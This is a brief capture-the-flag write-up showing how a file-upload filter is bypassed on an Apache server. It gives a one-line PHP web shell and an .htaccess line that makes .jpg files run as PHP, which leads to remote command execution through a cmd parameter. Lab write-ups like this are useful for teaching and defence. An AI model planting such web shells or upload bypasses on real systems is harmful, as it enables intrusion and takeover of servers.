While I was messing around with some challenges on SkillBit, I came across this one: Open Application Basically, it was a simple screen with a form for uploading your resume. My first thought, of course: a basic PHP shell.

<?php system($_REQUEST[‘cmd’]); ?>

PHP shell

But it was immediately clear that uploading PHP files was prohibited.

PHP forbidden

Uncommon file extensions, manipulating the case of those extensions, double extensions, and all the usual techniques for bypassing this protection didn’t seem to work. A quick look at Wappalyzer showed that the server was running on Apache.

Wappalyzer

What if it were possible to upload an .htaccess file? For those who don’t know, .htaccess is a simple configuration file for Apache that allows you to modify its behavior. All you need to do is create a file containing, for example, this simple line:

AddType application/x-httpd-php .jpg

This tells the server to execute JPG files as if they were PHP files. And it looks like…

.htaccess

Bingo!

.htaccess uploaded

At that point, all you have to do is change the file extension of the file containing our PHP shell

A wolf in disguise

and you’re ready to run your commands directly from the browser (don’t forget to add ?cmd= followed by the desired command, such as id, to the address bar)

RCE successful

Happy hacking!